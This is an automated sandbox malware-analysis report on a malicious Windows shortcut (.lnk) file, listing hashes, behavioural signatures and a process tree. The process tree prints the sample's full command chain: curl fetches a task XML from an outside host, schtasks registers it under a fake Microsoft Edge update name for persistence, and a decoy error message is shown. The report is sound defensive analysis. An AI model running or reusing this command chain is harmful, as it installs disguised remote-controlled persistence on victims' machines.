Resubmissions
06-03-2024 15:01
240306-sdvz9sbf8t 706-03-2024 14:59
240306-sc3cysah54 306-03-2024 14:41
240306-r2taxagc37 7Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
06-03-2024 14:41
Static task
static1
Behavioral task
behavioral1
Sample
414d6ed63baaaa69a555068e91e1ee89dbcf38cac7ac4918f6e50fb82d039485.lnk
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
414d6ed63baaaa69a555068e91e1ee89dbcf38cac7ac4918f6e50fb82d039485.lnk
Resource
win10v2004-20240226-en
General
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Target
414d6ed63baaaa69a555068e91e1ee89dbcf38cac7ac4918f6e50fb82d039485.lnk
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Size
2KB
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MD5
10f4479d5f531def842a712277ae9611
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SHA1
bdb075abba517e216a41933cec5b30b4d50c0e76
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SHA256
414d6ed63baaaa69a555068e91e1ee89dbcf38cac7ac4918f6e50fb82d039485
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SHA512
5306675e38c391bb39a9b4a7bbcbeaf807e2e10bd8e1d5e560e49c77802946b39f033f653954db998d130edb08fc1add8b4dd199c4ab019c4e33fd25fcb57382
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3276 schtasks.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 944 wrote to memory of 2332 944 cmd.exe 90 PID 944 wrote to memory of 2332 944 cmd.exe 90 PID 2332 wrote to memory of 4324 2332 conhost.exe 91 PID 2332 wrote to memory of 4324 2332 conhost.exe 91 PID 4324 wrote to memory of 3600 4324 cmd.exe 92 PID 4324 wrote to memory of 3600 4324 cmd.exe 92 PID 4324 wrote to memory of 3276 4324 cmd.exe 96 PID 4324 wrote to memory of 3276 4324 cmd.exe 96 PID 4324 wrote to memory of 1772 4324 cmd.exe 97 PID 4324 wrote to memory of 1772 4324 cmd.exe 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\414d6ed63baaaa69a555068e91e1ee89dbcf38cac7ac4918f6e50fb82d039485.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:944 -
C:\WINDOWS\system32\conhost.exe"C:\WINDOWS\system32\conhost.exe" --headless cmd /c curl -o C:\Users\Public\Documents\config.xml demolaservices.com/mml.php & schtasks /create /tn MicrosoftEdgeUpdateEngine /xml C:\Users\Public\Documents\config.xml & msg * "Incompatible Windows version. Try another Windows PC."2⤵
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\WINDOWS\system32\cmd.execmd /c curl -o C:\Users\Public\Documents\config.xml demolaservices.com/mml.php & schtasks /create /tn MicrosoftEdgeUpdateEngine /xml C:\Users\Public\Documents\config.xml & msg * "Incompatible Windows version. Try another Windows PC."3⤵
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\system32\curl.execurl -o C:\Users\Public\Documents\config.xml demolaservices.com/mml.php4⤵PID:3600
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C:\Windows\system32\schtasks.exeschtasks /create /tn MicrosoftEdgeUpdateEngine /xml C:\Users\Public\Documents\config.xml4⤵
- Creates scheduled task(s)
PID:3276
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C:\Windows\system32\msg.exemsg * "Incompatible Windows version. Try another Windows PC."4⤵PID:1772
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2604
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD51937af09268af0f1ee47eabb62a28f2c
SHA1551433d0819679f3f37e370e2b51e35336194c80
SHA2561ba020416e58b45e42a854dace76cca56bebbdeebfd0abdfb4a33c12a22390d4
SHA512093b9f5a4ff6fe00b7bd2ed113e220f19cc0a96ac2eaf4993ca62a05706a955353a7a7cbaa86f7630883fd680cfb95107249be42da69c94259742d6284f7b94c